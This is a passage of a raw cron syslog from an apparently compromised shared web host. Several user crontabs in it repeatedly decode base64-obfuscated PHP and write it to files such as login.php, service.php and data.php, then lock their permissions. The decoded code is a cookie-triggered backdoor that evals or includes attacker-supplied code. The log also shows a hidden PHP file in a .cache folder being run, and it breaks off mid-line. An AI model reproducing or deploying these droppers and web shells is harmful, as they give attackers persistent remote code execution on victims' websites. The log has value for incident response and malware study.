VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:45:01 medusa CROND[13830]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:45:01 medusa CROND[13793]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:45:01 medusa CROND[13798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:46:02 medusa CROND[3374]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:46:02 medusa CROND[3375]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:46:02 medusa CROND[3376]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:46:02 medusa CROND[3378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:46:02 medusa CROND[3377]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:46:02 medusa CROND[3379]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:46:02 medusa CROND[3381]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:46:02 medusa CROND[3380]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:46:02 medusa CROND[3383]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:46:02 medusa CROND[3385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:46:02 medusa CROND[3388]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:46:02 medusa CROND[3390]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:46:02 medusa CROND[3395]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:46:02 medusa CROND[3398]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:46:02 medusa CROND[3406]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:47:01 medusa CROND[24325]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 10:47:01 medusa CROND[24326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:47:01 medusa CROND[24328]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:47:01 medusa CROND[24327]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:47:01 medusa CROND[24329]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:47:01 medusa CROND[24330]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:47:01 medusa CROND[24331]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:47:01 medusa CROND[24332]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:47:01 medusa CROND[24336]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:47:01 medusa CROND[24338]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:47:01 medusa CROND[24339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:47:01 medusa CROND[24341]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:47:01 medusa CROND[24344]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:48:01 medusa CROND[13620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:48:01 medusa CROND[13650]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:48:01 medusa CROND[13668]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoM